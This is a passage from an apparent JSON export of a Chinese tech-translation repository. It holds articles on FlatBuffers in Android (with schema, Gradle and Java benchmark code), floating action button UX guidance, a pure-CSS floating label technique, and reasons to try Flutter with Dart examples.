\"https://github.com/google/acai\",\n          \"description\": \"Testing library for JUnit4 and Guice.\",\n          ...\n          \"watchers\": 21,\n          \"default_branch\": \"master\"\n        },\n        ...\n      ]\n    }\n\n\n整个 JSON 文件可以在[这里](https://github.com/frogermcs/FlatBuffs/blob/master/flatbuffers/repos_json.json)下载。该文件是调用 Github 的 API 来[获取 google 在 github 上的仓库](https://api.github.com/users/google/repos)结果的一个修改版本。\n\n要编写一份 Flatbuffer 结构描述文件，请参考[这篇文档](https://google.github.io/flatbuffers/md__schemas.html)，我不会在此对它做深入的探索，因此我们使用的结构描述文件不会很复杂。我们所需要做的仅仅是创建3张表。`ReposList` 表，`Repo` 表和 `User` 表, 以及定义一个 `root_type`。这份结构描述文件的核心部分如下所示：\n\n     table ReposList {\n        repos : [Repo];\n    }\n\n    table Repo {\n        id : long;\n        name : string;\n        full_name : string;\n        owner : User;\n        //...\n        labels_url : string (deprecated);\n        releases_url : string (deprecated);\n    }\n\n    table User {\n        login : string;\n        id : long;\n        avatar_url : string;\n        gravatar_id : string;\n        //...\n        site_admin : bool;\n    }\n\n    root_type ReposList;\n\n该结构描述文件的完整版本可从[这里](https://github.com/frogermcs/FlatBuffs/blob/master/flatbuffers/repos_schema.fbs)下载。\n\n## FlatBuffers 数据文件\n\n好了，现在我们要做的是将 `repos_json.json` 文件转换成 FlatBuffers 的二进制文件以及生成 Java 模型，该 Java 模型是以一种对 Java 来说很友好的方式来展现的（所有我们需要的文件都可在[这里](https://github.com/frogermcs/FlatBuffs/tree/master/flatbuffers)下载）：\n\n`$ ./flatc -j -b repos_schema.fbs repos_json.json`\n\n如果一切顺利，将生成以下文件列表：\n\n*   repos_json.bin （我们将把该文件重命名成 repos_flat.bin）\n*   Repos/Repo.java\n*   Repos/ReposList.java\n*   Repos/User.java\n\n## Android 程序\n\n现在，让我们创建一个例子程序来展示 FlatBuffers 格式在实际开发中是如何工作的。程序截图如下所示。\n![截图](http://frogermcs.github.io/images/17/screenshot.png \"ScreenShot\")\n\nProgressBar 用来展示不正确的数据处理（在 UI 主线程中）将会对用户界面的平滑性产生怎样的影响。\n\n本程序中的 `app/build.gradle` 文件如下所示：\n\n    apply plugin: 'com.android.application'\n    apply plugin: 'com.jakewharton.hugo'\n\n    android {\n        compileSdkVersion 22\n        buildToolsVersion \"23.0.0 rc2\"\n\n        defaultConfig {\n            applicationId \"frogermcs.io.flatbuffs\"\n            minSdkVersion 15\n            targetSdkVersion 22\n            versionCode 1\n            versionName \"1.0\"\n        }\n        buildTypes {\n            release {\n                minifyEnabled false\n                proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n            }\n        }\n    }\n\n    dependencies {\n        compile fileTree(dir: 'libs', include: ['*.jar'])\n        compile 'com.android.support:appcompat-v7:22.2.1'\n        compile 'com.google.code.gson:gson:2.3.1'\n        compile 'com.jakewharton:butterknife:7.0.1'\n        compile 'io.reactivex:rxjava:1.0.10'\n        compile 'io.reactivex:rxandroid:1.0.0'\n    }\n\n当然，你没有必要在该示例程序中使用 RxJava 或 ButterKnife 库，但是，我们为什么不使用他们来使得我们的程序变得更好一点呢 😉 ？\n\n将 repos_flat.bin 文件和 repos_json.json 文件放在项目的`res/raw/`目录。\n\n程序中，帮助我们读取 raw 文件的工具类 [RawDataReader](https://github.com/frogermcs/FlatBuffs/blob/master/app/src/main/java/frogermcs/io/flatbuffs/utils/RawDataReader.java) 可在此下载。\n\n最后，将 `Repo`，`ReposList` 和 `User` 文件放在项目源码的某个地方。\n\n### FlatBuffers 类库\n\n在 Java 中，Flatbuffers 直接提供了 Java 类库来处理这种格式的数据。该 [flatbuffers-java-1.2.0-SNAPSHOT.jar](https://github.com/frogermcs/FlatBuffs/blob/master/app/libs/flatbuffers-java-1.2.0-SNAPSHOT.jar) 文件可在此处下载。如果你想手动生成该类库，请返回到 Flatbuffers 的源码目录，进入到 `java/` 目录，使用 Maven 构建来得到该类库。\n\n`$ mvn install`\n\n现在，将.jar文件放在Android项目的 `app/libs/` 目录下。\n\n好，现在我们所需要做的是去实现 `MainActivity` 类，该文件的完整代码如下所示：\n\n    public class MainActivity extends AppCompatActivity {\n\n        @Bind(R.id.tvFlat)\n        TextView tvFlat;\n        @Bind(R.id.tvJson)\n        TextView tvJson;\n\n        private RawDataReader rawDataReader;\n\n        private ReposListJson reposListJson;\n        private ReposList reposListFlat;\n\n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n            super.onCreate(savedInstanceState);\n            setContentView(R.layout.activity_main);\n            ButterKnife.bind(this);\n            rawDataReader = new RawDataReader(this);\n        }\n\n        @OnClick(R.id.btnJson)\n        public void onJsonClick() {\n            rawDataReader.loadJsonString(R.raw.repos_json).subscribe(new SimpleObserver() {\n                @Override\n                public void onNext(String reposStr) {\n                    parseReposListJson(reposStr);\n                }\n            });\n        }\n\n        private void parseReposListJson(String reposStr) {\n            long startTime = System.currentTimeMillis();\n            reposListJson = new Gson().fromJson(reposStr, ReposListJson.class);\n            for (int i = 0; i < reposListJson.repos.size(); i++) {\n                RepoJson repo = reposListJson.repos.get(i);\n                Log.d(\"FlatBuffers\", \"Repo #\" + i + \", id: \" + repo.id);\n            }\n            long endTime = System.currentTimeMillis() - startTime;\n            tvJson.setText(\"Elements: \" + reposListJson.repos.size() + \": load time: \" + endTime + \"ms\");\n        }\n\n        @OnClick(R.id.btnFlatBuffers)\n        public void onFlatBuffersClick() {\n            rawDataReader.loadBytes(R.raw.repos_flat).subscribe(new SimpleObserver() {\n                @Override\n                public void onNext(byte[] bytes) {\n                    loadFlatBuffer(bytes);\n                }\n            });\n        }\n\n        private void loadFlatBuffer(byte[] bytes) {\n            long startTime = System.currentTimeMillis();\n            ByteBuffer bb = ByteBuffer.wrap(bytes);\n            reposListFlat = frogermcs.io.flatbuffs.model.flat.ReposList.getRootAsReposList(bb);\n            for (int i = 0; i < reposListFlat.reposLength(); i++) {\n                Repo repos = reposListFlat.repos(i);\n                Log.d(\"FlatBuffers\", \"Repo #\" + i + \", id: \" + repos.id());\n            }\n            long endTime = System.currentTimeMillis() - startTime;\n            tvFlat.setText(\"Elements: \" + reposListFlat.reposLength() + \": load time: \" + endTime + \"ms\");\n\n        }\n    }\n\n我们应该重点关心的方法：\n\n*    `parseReposListJson(String reposStr)` - 该方法初始化 Gson 解析器，并将 json 字符串转换成 Java 实体类\n*    `loadFlatBuffer(byte[] bytes)` - 该方法将字节码文件（我们的 repos_flat.bin 文件）转换成 Java 实体类\n\n## 结果\n\n现在，让我们看看分别使用 JSON 和 FlatBuffers 来解析数据时，在加载时间和消耗资源方面的区别。测试在运行 Android M (beta) 系统的 Nexus 5 手机中进行。\n\n## 加载时间\n\n评价标准是将全部元素（90 个）转换成对应的 Java 文件。\n\nJSON - 平均加载时间为 200ms（波动范围在：180ms - 250ms），JSON 文件大小：478kb。FlatBuffers - 平均加载时间为 5ms （波动范围在: 3ms - 10ms），FlatBuffers 二进制文件大小：362kb。\n\n还记得我们的 [16 毫秒规则](https://www.youtube.com/watch?v=CaMTIgxCSqU)吗？我们将在 UI 线程中调用上述方法，用来观察我们界面的显示行为：\n\n### JSON 加载数据\n\n![JSON](http://frogermcs.github.io/images/17/json.gif \"JSON\")\n\n### FlatBuffer 加载数据\n\n![FlatBuffers](http://frogermcs.github.io/images/17/flatbuffers.gif \"FlatBuffers\")\n\n看到区别了吗？当使用 JSON 加载数据时，ProgressBar 明显冻住了一会儿，这使得我们的界面不舒服（操作耗时超过了 16ms）。\n\n### 内存分配，CPU 使用情况等\n\n想用更多标准来测试？这可能是尝试使用 [Android Studio 1.3](http://android-developers.blogspot.com/2015/07/get-your-hands-on-android-studio-13.html) 和其新特性的好机会。Android Studio 1.3 可用来进行测试的新特性有内存分配跟踪，内存查看和方法追踪等。\n\n## 源代码\n\n完整的项目源代码可以在 Github 的[这里](https://github.com/frogermcs/FlatBuffs)下载到。你不必了解整个 Flatbuffers 项目 - 你所需要的都在 `flatbuffers/` 目录。\n\n## 作者信息\n\n[Miroslaw Stanek](http://about.me/froger_mcs)\n[Azimo Money Transfer](https://azimo.com) 公司_移动开发主管_\n\n如果你喜欢这篇文章，请在 Twitter上 [分享给你们的粉丝](https://twitter.com/intent/tweet?url=http://frogermcs.github.io/flatbuffers-in-android-introdution/&text=FlatBuffers%20in%20Android%20-%20introduction&via=froger_mcs)，或者在 Twitter 上[关注](https://twitter.com/froger_mcs)我！\n\n"
  },
  {
    "path": "TODO/floating-action-button-in-ux-design.md",
    "content": "> * 原文地址：[Floating Action Button in UX Design](https://uxplanet.org/floating-action-button-in-ux-design-7dd06e49144e)\n> * 原文作者：[Nick Babich](https://uxplanet.org/@101)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n![](https://cdn-images-1.medium.com/max/800/1*0qLDFA-7qPANEMKO6xCEtw.png)\n\n# Floating Action Button in UX Design #\n\nFloating Action Button (FAB) is a very commonly used control in Android apps. Shaped like a circled icon floating above the UI, it’s a tool for designers to call out the key parts of the app’s product story. FAB is quite simple and easy to implement UI element, but designers often incorrectly incorporate it into designs.\n\nIn this article you’ll find answers on following questions:\n\n- When to use FAB?\n- What are best practices for FAB?\n- How FAB and animation can work together to improve UX?\n\n### When to Use FAB? ###\n\n#### For hallmark actions ####\n\nFAB highlights the most relevant or frequently used actions. It should be used for the actions that are strongly characteristics of your app. Ideally, the FAB should represent the core function of your entire app just like in the example below.\n\n![](https://cdn-images-1.medium.com/max/800/1*fV1xkVAU9VS-jmoydI5TDw.jpeg)\n\nA floating action button represents the primary action in an application. Pausing or resuming playback on this screen tells users that it’s a music app.\n\n#### As way-finding tool ####\n\nFAB is a natural cue for telling users what to do next. Research by Google shows that, when faced with unfamiliar screen many user rely on FAB to navigate. Thus, FAB is very useful as a signpost of what’s important.\n\n![](https://cdn-images-1.medium.com/max/800/1*NrhEXDLgvSfLoUs24KiY0A.png)\n\nTwitter uses FAB for write a tweet action.\n\n#### Not every screen needs a FAB ####\n\nFABs are colorful, raised, and grid-breaking. It’s very difficult not to spot these buttons, and that’s because they are designed to stand out. But not every screen should use the FAB simply because not every screen has an action of this importance.\n\n> Do not use a FAB at all costs. It’s only for promoted actions!\n\nOne good example is [Google Photos app](https://play.google.com/store/apps/details?id=com.google.android.apps.photos&amp;hl=en) for Android. The app opens in a gallery view, which has a floating action button for search. There are two problem with a FAB here:\n\n- Search is an extra action for the majority of users. The primary task is photo browsing. Thus, there’s no need to have this FAB.\n- The presence of a FAB can distract and take up a user’s attention away from the main content (photos).\n\n![](https://cdn-images-1.medium.com/max/800/1*9TQLyWdW0Jo4kjkjQh4BKA.png)\n\nSearch is extra action for Google Photos and doesn’t require FAB\n\n**Tip:** Finding the primary action of a screen can be much harder than it first seems. In order to simplify the task and understand whether you need FAB in your UI use a simple *five minutes rule: i*f you struggle for more than 5 minutes searching for what your screen primary action should be, it’s clear that the FAB isn’t required for this view.\n\n### Best Practices for FAB ###\n\n#### Avoid mystery meat navigation ####\n\nThe term “Mystery meat navigation” was introduced by Vincent Flanders, a creator of the famous website [Web Pages That Suck.](https://en.wikipedia.org/wiki/Mystery_meat_navigation)  It refers to buttons or links that don’t explain to you what they do. Instead, users have to tap on them to find out.\n\nFAB is an icon-only button and the problem is that [icons are really hard to understand](http://uxmyths.com/post/715009009/myth-icons-enhance-usability) because they’re so open to interpretation. As NNG [points out](https://www.nngroup.com/articles/icon-usability/), universally recognised icons are rare. For example, can you guess what a button in example below does?\n\n![](https://cdn-images-1.medium.com/max/800/1*p6e4Z9F353Fj-U_gSnnzYg.png)\n\nWhat does FAB means here?\n\nYou don’t know for certain until you tap it. And if a user needs to guess, your button is mystery meat. Some may say that the the time it takes to discover what these icons means is quite short and the percieved possible risk very low. Yes, the time it takes to find out what an icon means, by tapping on it, may be quite small. But there is a cognitive load:\n\n> User will have to remember what it means.\n\nMultiply that by all the mystery meat icons in all your apps and that is not small effort.\n\nIt’s acceptable to use icons-only buttons but only ifyou make sure they are *context-relevant and* clear for your users. Context is what helps users interpret icon-only buttons and explain the actions. For example, if you have a note taking application it’s quite clear that the main purpose of the app is to take — and view — notes. And a ‘Pen’ icon would be great in this context.\n\n#### Use only one FAB per screen ####\n\nBecause FABs are so prominent/intrusive, FAB’s should be used *once on a page or not at all.*\n\n![](https://cdn-images-1.medium.com/max/800/1*ONI398PyIgulggs6TEmg5Q.png)\n\n**Don’t **have more than one floating action button per screen.\n\n#### Use FAB only for positive actions ####\n\nBecause the FAB is characteful, it’s generally a positive action, like create, share, explore, and so on. FAB shouldn’t be destructive action, like delete or archive. They shouldn’t be unspecific or alerts, limited actions like cut-and-paste the text, or actions that should be in a toolbar (e.g. changing a volume).\n\n![](https://cdn-images-1.medium.com/max/1000/1*2v9CL54h2AQfp-mMV_O4iQ.png)\n\nThe function should be an action that makes user feel positive about using FAB and never worried it’s going to do something wrong. Image credit: Material Design\n\n### FAB and Animation ###\n\nFloating action buttons are designed to be flexible. FAB can expand, morph, and react.\n\n#### Expand into a set of actions ####\n\nIn some cases, it is appropriate for the button to spin out and expose a few other options (as seen in the Evernote example below). The FAB can replace itself with a sequence of more specific actions and you can design them to be contextual to your users. But keep in mind that:\n\n- These actions must be related to the primary action the FAB itself expresses and be related to each other: do not treat these revealed actions as independent as they could be if positioned on a toolbar.\n- As a general rule, have at least three options upon press but not more than six, including the original floating action button target.\n\n![](https://cdn-images-1.medium.com/max/800/1*mjNKHpgABoV0gG72hfHMCQ.gif)\n\nA floating action button flinging out related actions.\n\n#### FAB can morph into the new surface ####\n\nFAB is not just a round button, it has some transformative properties that you can use to help ease your users from screen to screen. The floating action button can transform into views that are part of the app structure.\n\n> FAB can improve transitions between screens\n\nWhen morphing the floating action button, transition between starting and ending positions in a logical way. For examle, the animation in example below maintains the user’s sense of orientation and helps the user comprehend the change that has just happened in the view’s layout, what has triggered the change and how to initiate the change again later on if needed.\n\n![](https://cdn-images-1.medium.com/max/800/1*jSCtVcpUQnYNwxck1Pcp1w.gif)\n\nImage credit: [Ehsan Rahimi](https://dribbble.com/EhsanCinematic) \n\n#### FAB can be hidden during scrolling ####\n\nFAB can be hidden when scrolling down if it gets in the way (prevents user from reading the content). In example below, the FAB *needs* to be able to move out of the way, so that all parts of all list items are actually reachable.\n\n![](https://cdn-images-1.medium.com/max/800/1*fUdO6yS6KkNX7m-vXuzqWA.gif)\n\nHide FAB to maximise the viewport area dedicated to the list. Image credit: [Juliane Lehmann](https://lambdasoup.com/post/fab_behavior_sync_appbarlayout/) \n\nMedium app for Android is a good example of using this technique. The Heart button disappears on scroll and reappears when the end of the article is reached — just when readers who liked the article would have wanted to use the button.\n\n### Conclusion ###\n\nIf you’re going to use FAB in your app, the design of the app must be carefully considered and the user’s possible actions must be boiled down to a single most prominent feature. Used correctly, FAB can be an astoundingly helpful pattern for the end-user.\n\nThank you!\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/floating-label-no-js-pure-css.md",
    "content": "> * 原文链接: [Revisiting the Float Label pattern with CSS](http://thatemil.com/blog/2016/01/23/floating-label-no-js-pure-css/)\n* 原文作者：[Emil Björklund](http://thatemil.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Zhangjd](https://github.com/zhangjd)\n* 校对者: [Adam Shen](https://github.com/shenxn), [Jing KE](https://github.com/jingkecn)\n\n# 利用 :placeholder-shown 选择器实现 label 浮动效果\n\n设计师似乎喜欢用 [浮动 label 模式](http://mds.is/float-label-pattern/) 来设计华丽的效果，虽然我不确定我是否百分百喜欢这种方式，但我忍不住快速实现了一个这样的 demo。这个版本用上了一些我最近才看见的现代 CSS 表单样式技巧，特别是 `:placeholder-shown` 选择器。\n\n先说重点：不管从形状或者形式上，这都**不是**一种最佳实践。这个 demo 的实现适用于某些浏览器的较新版本 - 尤其是 Chrome/Opera 和 Safari/WebKit。但它在 Firefox 上运行得一塌糊涂。要注意了，我可几乎没有测试过它。\n\n我主要是参考了下面这些技巧来实现该效果的：\n\n1.  Flexbox — 借助 [Hugo Giraudel 的示例代码](http://codepen.io/HugoGiraudel/pen/b3274eb0bf93bed79afeafd30b7a33f1) ，在 HTML 中，把 label 放在了 input 之后，并通过 CSS 颠倒其显示顺序。\n2.  使用 `transform` 属性，把 label 移至 input 之上。当 input 处于激活状态的时候，placeholder 的文字被设置为 `opacity: 0`，也就是透明，这样 label 和 placeholder 的文本不会重叠。\n3.  当 placeholder _不_ 显示，比如表单域被填充或者获得焦点的时候，才把 label 上移，这里我是受到了 [Jeremy 关于 ”Pseudon’t” 的文章](https://adactio.com/journal/10000) 启发。\n\n最后一点正是将我这个实现与 [Chris Coyier](http://css-tricks.com/float-labels-css/) 和 [Jonathan Snook](http://snook.ca/archives/html_and_css/floated-label-pattern-css) 的示例区分开来的地方，后两者均使用了 `:valid` 伪类。我认爲我这个 demo 背后有特定的局限性，但正如我一开始所讲，对于浏览器支持总是会有限制的。\n\n> 译注：`:placeholder-shown` 属于尚未发行的 CSS4 规范，查询 [Can I Use](http://caniuse.com/#search=placeholder-shown) 可以得知，迄今为止只有 Chrome (>=47)、Safari (>=9)、Opera (>=35)、Android Browser (>=47) 和 Chrome for Android (>=47) 这五种浏览器支持 `:placeholder-shown` 伪类。作者在这里提及的局限性应该就是指浏览器对 `:placeholder-shown` 的支持度。\n\n这个版本改用了 `:placeholder-shown` 伪类，但不仅仅是在 placeholder 文本不显示时移动 label 的位置 - 在该模型预设的工作方式中 `:placeholder-shown` 伪类发挥着很好的作用。\n\n这里是相关 HTML 代码：\n\n```HTML\n<div class=\"field\">\n    <input type=\"text\" placeholder=\"Jane Appleseed\">\n    <label for=\"fullname\">Name</label>\n</div>\n```\n\n...以及 CSS 代码：\n\n```CSS\n/**\n* 把区域设置为 flex 容器，并逆序排列，使得 label 标签显示在上方\n*/\n.field {\n  display: flex;\n  flex-flow: column-reverse;\n}\n/**\n* 给 label 和 input 设置一个过渡属性\n*/\nlabel, input {\n  transition: all 0.2s;\n}\n\ninput {\n  font-size: 1.5em;\n  border: 0;\n  border-bottom: 1px solid #ccc;\n}\n/**\n* 设置 input 获得焦点时的边框样式\n*/\ninput:focus {\n  outline: 0;\n  border-bottom: 1px solid #666;\n}\n/**\n* 1\\. 标签应保持在一行内，并最多占据字段 2/3 的长度，以确保其比例合适且不会出现换行。\n* 2\\. 修正光标形状，使用户知道这里可以输入.\n* 3\\. 把标签往下平移并放大1.5倍，使其覆盖 placeholder 层.\n*/\nlabel {\n  /* [1] */\n  max-width: 66.66%;\n  white-space: nowrap;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  /* |2] */\n  cursor: text;\n  /* [3 */\n  transform-origin: left bottom; \n  transform: translate(0, 2.125rem) scale(1.5);\n}\n/**\n* 默认情况下，placeholder 应该是透明的，并且应该继承 transition 属性。\n*/\n::-webkit-input-placeholder {\n  transition: inherit;\n  opacity: 0;\n}\n/**\n* 在 input 获得焦点时，显示 placeholder 内容。\n*/\ninput:focus::-webkit-input-placeholder {\n  opacity: 1;\n}\n/**\n* 1\\. 当元素获取焦点时，还原 transform 效果，把 label 移回原来的位置。\n*     并且，当 placeholder 不显示，比如用户已经输入了内容时，也作同样处理。\n* 2\\. ...并把光标设置为指针形状。\n*/\ninput:not(:placeholder-shown) + label,\ninput:focus + label {\n  transform: translate(0, 0) scale(1); /* [1] */\n  cursor: pointer; /* [2] */\n}\n```\n\n2016-01-26 更新: 我更新了 label 的选择器，以便其对应的 input 标签拥有 :placeholder-shown 伪类时，才使用 label 的 transform 效果。那样的话，不支持的浏览器就回退到 “正常模式” ，也就是标签显示在 input 上方。\n\n点这里查看 [JSBin 演示](http://jsbin.com/pagiti/9/edit?html,css,output).\n"
  },
  {
    "path": "TODO/flutter-5-reasons-why-you-may-love-it.md",
    "content": "> * 原文地址：[Flutter — 5 reasons why you may love it](https://hackernoon.com/flutter-5-reasons-why-you-may-love-it-55021fdbf1aa)\n> * 原文作者：[Paulina Szklarska](https://hackernoon.com/@pszklarska?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/flutter-5-reasons-why-you-may-love-it.md](https://github.com/xitu/gold-miner/blob/master/TODO/flutter-5-reasons-why-you-may-love-it.md)\n> * 译者：[RockZhai](https://github.com/rockzhai)\n> * 校对者：[Starrier](https://github.com/Starriers)\n\n# Flutter — 五个你会爱上它的原因\n\n![](https://cdn-images-1.medium.com/max/800/1*gqBLqChWtWLq33DvWm6Nog.png)\n\n在  [Google I/O ’17](https://www.youtube.com/watch?v=w2TcYP8qiRI)  上 Google 向我们介绍了  Flutter — 一个应用于手机应用开发的开源库。\n\n也许你知道， Flutter 是一个开发具有精美 UI **跨平台手机应用**的解决方案。Flutter 设计界面的方式和 web 应用很相似，所以你可以在里面看到很多与 HTML/CSS 相近的方法。\n\n根据他们的承诺：\n\n> Flutter 可以轻松快捷的开发精美的手机应用。\n\n听上去很赞，可是在最初的时候，**我是不太相信**有另外一个跨平台的解决方案，我们有许多类似的跨平台方案 — Xamarin, PhoneGap, Ionic, React Native 等等。我们都知道这么多可选的方案都有着各自的优缺点，我并不确定 Flutter 会与之有什么不同，**然而我被 Flutter 惊艳到了**。\n\nFlutter 有许多**从 Android 开发者的角度**看非常有趣的**[特性](https://flutter.io/technical-overview/)**。在这篇文章中，我会向你展示一些真正触动到我的东西。 所以，来开始吧！\n\n![](https://cdn-images-1.medium.com/max/800/1*ayM5swMh3wWgdrFHnTGDDw.jpeg)\n\n#### 为什么选 Flutter？\n\n你可能会很好奇并问自己这样一个问题：\n\n> “Flutter 有什么创新的？它是如何工作的？Flutter 和 React Native 又有什么不同呢？”\n\n在这里我不会过多涉及技术性问题，因为这块其他人做的比我更好，如果你对 Flutter 的工作方式感兴趣，那么我推荐你阅读这篇文章 [What’s Revolutionary about Flutter?](https://hackernoon.com/whats-revolutionary-about-flutter-946915b09514)，你也可以在[“The Magic of Flutter” presentation](https://docs.google.com/presentation/d/1B3p0kP6NV_XMOimRV09Ms75ymIjU5gr6GGIX74Om_DE/edit)查阅 Flutter 的完整概念。\n\n在快捷实现方式中，Flutter 是一个允许我们去创建**混合移动应用程序**的**移动端 SDK** （这样你就可以写一份代码，然后同时跑在 Android 和 iOS 上）。 你需要用 [**Dart**](https://www.dartlang.org/) 来编写代码，这是一个由 Google 开发的编程语言，并且如果你之前有用过 Java 的话，你会觉得这个这个语言很熟悉。替代 XML 文件，你需要这样来构建你的 **layout 树**：\n\n```\nimport 'package:flutter/material.dart';\n\nclass HelloFlutter extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return new MaterialApp(\n      title: \"HelloFlutter\",\n      home: new Scaffold(\n        appBar: new AppBar(\n          title: new Text(\"HelloFlutter\"),\n        ),\n        body: new Container(\n          child: new RaisedButton(onPressed: _handleOnPressed),\n        ),\n      ),\n    );\n  }\n}\n```\n\n正如你所看到的那样，一个 layout 是由嵌套的组件（_Widgets_）构建的， 核心 Widget 是  _MaterialApp_ （这是整个的应用程序）， 然后我们有 _Scaffold_ （这是我们主界面的 layout 结构），再然后是 _AppBar_ （就像 Android `Toolbar`） 和 一些 _Container_ 作为 body，在 body 内部，我们可以放置我们 layout 组件 — Texts, Buttons 等等。\n\n这些都仅仅是切入点而已，如果你想读到更多关于 layout 的信息，请查看[Flutter’s tutorial on building layouts](https://flutter.io/tutorials/layout/)。 \n\n### #1 热重载\n\n好的，让我们现在开始吧！\n\n我们将从一个基本的应用程序开始，这里有三个按钮，每个的功能为点击后改变文本的颜色：\n\n![](https://cdn-images-1.medium.com/max/1000/1*JW18Xwd0EyItHM3CufWEaQ.gif)\n\n想着，我们将使用 Flutter 最酷的功能之一 — **热重载**。它允许你像更新网页一样去实时的更新你的项目。来看看一看热重载的实际操作吧：\n\n![](https://cdn-images-1.medium.com/max/1000/1*iL6s1TVF8XCrj9jQa690hA.gif)\n\n我们在这里做什么呢？我们改变代码里的内容（比如按钮上的文本信息），然后我们点击“热重载”（在 IntelliJ IDE 的顶部），在**几秒**后我们就可以看到看到结果，这很酷，不是吗？\n\n热重载不仅仅是**快**而且很**智能** — 如果你已经显示了一些内容（比如在这个例子中的文本颜色），并且热重载了应用，那么你可以在程序运行时来**改变 UI**：它们将保持**一致**！\n\n### #2 丰富的 (Material Design) 组件\n\nFlutter 中另外一个很棒的事情就是我们拥有非常丰富的内置 UI 组件目录。这里有两套组件 — [Material Design](https://flutter.io/widgets/material/) (适用于 Android) and [Cupertino](https://flutter.io/widgets/cupertino/) (适用于 iOS)。你可以很轻松的选择实现你想要的任何内容，你想创建一个 FloatingActionButton？走起：\n\n![1_g4mc0mIvQva-m0cPo2nQYQ.gif](https://i.loli.net/2018/03/06/5a9e7d7f976fd.gif)\n\n并且最棒的事情是你可以在任一平台上实现任意的组件，如果你使用了一些 Material Design 或者 Cupertino 组件，它们在每个 Android 和 iOS 上显示都是一样的，你不需要去担心有东西在不同设备上会看起来不同。\n\n### #3 一切皆为小部件\n\n就像你在之前的 gif 图中所看到的，创建一个用户界面是非常简单的。这可能就需要感谢 Flutter 的核心理念了，就是**一切皆为小部件**。你的 APP 类是一个部件（[MaterialApp](https://docs.flutter.io/flutter/material/MaterialApp-class.html)），你的整个 layout 结构是一个部件（[Scaffold](https://docs.flutter.io/flutter/material/Scaffold-class.html)）， 基本上，所有的东西都是部件（[AppBar](https://docs.flutter.io/flutter/material/AppBar-class.html), [Drawer](https://docs.flutter.io/flutter/material/Drawer-class.html), [SnackBar](https://docs.flutter.io/flutter/material/SnackBar-class.html)）。你想让你的 View 居中显示吗？用 **Center** 组件来包裹（_Cmd/Ctrl + Enter_）它即可！\n\n![1_tRCpkOeASzgpDX-q5aJ-3g.gif](https://i.loli.net/2018/03/06/5a9e7da0a9c1d.gif)\n\n由于这一点，创建 UI 界面就像用许多不同的小部件组成 layout 一样简单。\n\n这也与 Flutter 中的另一个核心原则有关 — **组合优先于继承**。它意味着如果你想创建一个新的部件，可以用很少的小组件来**组装**新的部件，而不是通过扩展 Widget 类（就像你会在 Android 中继承一些 `View` 类一样）。 \n\n### #4 适用于 Android/iOS 的不同主题\n\n通常，我们希望我们的 Android 应用看起来和 iOS 应用不一样。区别不仅仅是颜色上，在尺寸和部件的样式上也是如此，我们可用通过 Flutter 的主题来实现这一点：\n\n![](https://cdn-images-1.medium.com/max/800/1*uTR2zqjnltafthbCUDqlvg.png)\n\n正如你所看到的，我们为 Toolbar（Appbar）设置了不同的颜色和高度。我们是通过使用`Theme.of(context).platform`获取当前的平台（Android/iOS）来实现的。\n\n```\nimport 'package:flutter/material.dart';\n\nclass HelloFlutter extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return new MaterialApp(\n        title: \"HelloFlutter\",\n        theme: new ThemeData(\n            primaryColor:\n                Theme.of(context).platform == TargetPlatform.iOS\n                    ? Colors.grey[100]\n                    : Colors.blue),\n        home: new Scaffold(\n          appBar: new AppBar(\n            elevation:\n                Theme.of(context).platform == TargetPlatform.iOS\n                    ? 0.0\n                    : 4.0,\n            title: new Text(\n              \"HelloFlutter\",\n            ),\n          ),\n          body: new Center(child: new Text(\"Hello Flutter!\")),\n        ));\n  }\n}\n```\n\n### #5 许许多多的软件包\n\n尽管 Flutter 还仅仅是一个 alpha 版本，但它的社区真的很大，而且非常活跃。感谢这个 Flutter 平台支持 **多个软件包**（库，就像 Android 中的 Gradle 依赖）。 我们有图像打开、发送 HTTP 请求、分享内容、存储偏好、访问传感器、实现 Firebase 等等。当然，每一个都是**同时支持 Android 和 iOS**。 \n\n### 怎么开始呢？\n\n如果你喜欢 Flutter 并且自己想要尝试的话，最好的方法就是打开 Google Codelabs：\n\n*   在这里，你可以获得创建 layout 的基础知识： [Building Beautiful UIs with Flutter](https://codelabs.developers.google.com/codelabs/flutter/#0)\n*   如果你想尝试更多关于 Flutter 的东西，你必须要尝试一下 [Firebase for Flutter](https://codelabs.developers.google.com/codelabs/flutter-firebase)。\n\n在看完这些代码库之后，你可以创建一个简单而精美的**聊天应用**。你也可以在我的 GitHub 上查阅我对这个应用的实现：\n\n- [**pszklarska/HelloFlutter**: HelloFlutter - A simple chat app written in Flutter with core features from Firebase SDK github.com](https://github.com/pszklarska/HelloFlutter)\n\n你还可以查看 Flutter Gallery 应用程序，在这个应用里你可以看到其中有很大一部分的 Flutter UI 组件： \n\n- [**Flutter Gallery - Android Apps on Google Play**](https://play.google.com/store/apps/details?id=io.flutter.gallery)\n\n* * *\n\n结束了，感谢您的阅读！如果你喜欢这篇文章的话，不要忘了留下一个👏哦！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 